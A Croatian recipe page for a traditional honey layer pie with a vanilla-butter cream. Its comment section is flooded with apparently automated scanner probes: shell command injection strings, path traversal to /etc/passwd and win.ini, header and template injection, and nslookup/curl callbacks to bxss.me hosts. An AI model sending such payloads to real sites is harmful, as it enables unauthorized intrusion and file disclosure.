Ovo je jedna starinska pita, potpuno neopravdano već pomalo zaboravljena.
Pita se sastoji od nekoliko jednostavnih namirnica koje su nam gotovo uvijek pri ruci, a korištenje naizgled skromnih sastojaka na kraju će rezultirati finom kremastom slasticom bogatog okusa.
Sastojci za kore:
2-3 žlice masti (oko 100 g)
150 g šećera
3 žlice meda (ja sam koristila kestenov med)
1 jaje
1 žličica sode bikarbone
¼ žličice cimeta
500 g glatkog brašna
(i po potrebi malo mlijeka ili kiselog vrhnja)
Sastojci za kremu:
650 ml mlijeka
5 žlica oštrog brašna
200 g šećera
1 vanilin šećer ili malo domaćeg ekstrakta vanilije
200 g maslaca
5 žlica kokosovog brašna, za posipavanje
Priprema:
Pećnicu ugrijati na 180°C.
Pripremiti 4 lista papira za pečenje.
Šećer, jaje, mast, med i sodu bikarbonu staviti u posudu i kuhati na laganoj vatri 5-10 minuta. Smjesa će biti pjenasta i nježno mirisati na karamel. Maknuti s vatre, povremeno promiješati pa nakon 15 minuta u smjesu dodati brašno i cimet. Sve sastojke dobro promiješati, izvaditi iz posude pa kratko rukom mijesiti na brašnom posutoj podlozi (ako vam je tijesto presuho, možete mu dodati malo mlijeka ili kiselog vrhnja).
Tijesto podijeliti na 4 jednaka dijela. Svaki dio tijesta tanko razvaljati na papiru za pečenje (svaka kora treba biti cca 22 x 35 cm) pa staviti na preokrenuti lim i svaku koru peći 3-5 minuta na 180°C.
Pripremiti kremu. U posudu uliti mlijeko, dodati šećer i vanilin šećer. Kada mlijeko prokuha i šećer se otopi, maknuti s vatre, dodati brašno i brzo pjenjačom miješati. Vratiti na laganu vatru i kuhati uz stalno miješanje dok se krema ne zgusne.
Kremu ohladiti pa u dobro ohlađenu kremu umiješati maslac sobne temperature.
Na tri kore u jednakim slojevima rasporediti ohlađenu kremu, a na zadnju, četvrtu koru, nanijeti tek vrlo tanki sloj kreme pa posuti kokosovim brašnom.
Pitu rezati i poslužiti sljedeći dan.
Kod pripreme ove pite treba paziti da nam se kore ne prepeku, one moraju ostati nježne svijetlosmeđe boje, a pitu je bolje napraviti dan ranijene, ostaviti da se tijekom noći opusti, pa tek sljedeći dan rezati i poslužiti.
Klasična medena pita ne posipa se kokosovim brašnom već samo šećerom u prahu, ali ovo je dodatak koji ovu pitu čini još posebnijom.
Komentari
Dodaj komentar555
ghovjnjv 21.11.2023 01:36
1BPVQn6QMrO
ghovjnjv 21.11.2023 01:36
echo bfaxti$()\ mmywzq\nz^xyu||a #' &echo bfaxti$()\ mmywzq\nz^xyu||a #|" &echo bfaxti$()\ mmywzq\nz^xyu||a #
ghovjnjv 21.11.2023 01:36
response.write(9745171*9468783)
ghovjnjv 21.11.2023 01:36
V7MJAbKc
ghovjnjv 21.11.2023 01:36
../../../../../../../../../../../../../../etc/passwd
ghovjnjv 21.11.2023 01:36
555
1DmcTQ6zYtO 21.11.2023 01:36
&echo rfaqoz$()\ lwlipq\nz^xyu||a #' &echo rfaqoz$()\ lwlipq\nz^xyu||a #|" &echo rfaqoz$()\ lwlipq\nz^xyu||a #
ghovjnjv 21.11.2023 01:36
'+response.write(9745171*9468783)+'
ghovjnjv 21.11.2023 01:36
../../../../../../../../../../../../../../windows/win.ini
ghovjnjv 21.11.2023 01:36
555&echo pmgnva$()\ hgnlho\nz^xyu||a #' &echo pmgnva$()\ hgnlho\nz^xyu||a #|" &echo pmgnva$()\ hgnlho\nz^xyu||a #
ghovjnjv 21.11.2023 01:36
file:///etc/passwd
ghovjnjv 21.11.2023 01:36
555
Jgg9FE6y 21.11.2023 01:36
555
ghovjnjv 21.11.2023 01:36
|echo qbeffh$()\ grunmc\nz^xyu||a #' |echo qbeffh$()\ grunmc\nz^xyu||a #|" |echo qbeffh$()\ grunmc\nz^xyu||a #
ghovjnjv 21.11.2023 01:36
"+response.write(9745171*9468783)+"
ghovjnjv 21.11.2023 01:36
555
bcc:074625.146-516937.146.3e2e9.19682.2@bxss.me
ghovjnjv 21.11.2023 01:36
../555
ghovjnjv 21.11.2023 01:36
to@example.com>
bcc:074625.146-516938.146.3e2e9.19682.2@bxss.me
ghovjnjv 21.11.2023 01:36
555|echo pgvwml$()\ vrzfeo\nz^xyu||a #' |echo pgvwml$()\ vrzfeo\nz^xyu||a #|" |echo pgvwml$()\ vrzfeo\nz^xyu||a #
ghovjnjv 21.11.2023 01:36
(nslookup -q=cname hitrmimzubrzk24657.bxss.me||curl hitrmimzubrzk24657.bxss.me))
ghovjnjv 21.11.2023 01:36
12345'"\'\");|]*{
ghovjnjv 21.11.2023 01:36
$(nslookup -q=cname hitdtamsojthc1928f.bxss.me||curl hitdtamsojthc1928f.bxss.me)
ghovjnjv 21.11.2023 01:36
555
response.write(9500774*9365738) 21.11.2023 01:36
&nslookup -q=cname hitqakjlciyih61d7c.bxss.me&'\"`0&nslookup -q=cname hitqakjlciyih61d7c.bxss.me&`'
ghovjnjv 21.11.2023 01:36
555
ghovjnjv 21.11.2023 01:36
555
ghovjnjv bcc:074625.146-516941.146.3e2e9.19682.2@bxss.me 21.11.2023 01:36
555
'+response.write(9500774*9365738)+' 21.11.2023 01:36
&(nslookup -q=cname hitwvflwbneowf44aa.bxss.me||curl hitwvflwbneowf44aa.bxss.me)&'\"`0&(nslookup -q=cname hitwvflwbneowf44aa.bxss.me||curl hitwvflwbneowf44aa.bxss.me)&`'
ghovjnjv 21.11.2023 01:36
555
"+response.write(9500774*9365738)+" 21.11.2023 01:36
555
to@example.com> bcc:074625.146-516942.146.3e2e9.19682.2@bxss.me 21.11.2023 01:36
|(nslookup -q=cname hitsbktzugslj5e484.bxss.me||curl hitsbktzugslj5e484.bxss.me)
ghovjnjv 21.11.2023 01:36
555
../../../../../../../../../../../../../../etc/passwd 21.11.2023 01:36
`(nslookup -q=cname hitheupgshrdq6067e.bxss.me||curl hitheupgshrdq6067e.bxss.me)`
ghovjnjv 21.11.2023 01:36
555
ghovjnjv 21.11.2023 01:36
555
../../../../../../../../../../../../../../windows/win.ini 21.11.2023 01:36
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg
ghovjnjv 21.11.2023 01:36
${9999209+10000005}
ghovjnjv 21.11.2023 01:36
;(nslookup -q=cname hitscmeomgpwkc626a.bxss.me||curl hitscmeomgpwkc626a.bxss.me)|(nslookup -q=cname hitscmeomgpwkc626a.bxss.me||curl hitscmeomgpwkc626a.bxss.me)&(nslookup -q=cname hitscmeomgpwkc626a.bxss.me||curl hitscmeomgpwkc626a.bxss.me)
ghovjnjv 21.11.2023 01:36
Http://bxss.me/t/fit.txt
ghovjnjv 21.11.2023 01:36
555
file:///etc/passwd 21.11.2023 01:36
555
ghovjnjv 21.11.2023 01:36
555
ghovjnjv<esi:include src="http://bxss.me/rpb.png"/> 21.11.2023 01:36
555
12345'"\'\");|]* { <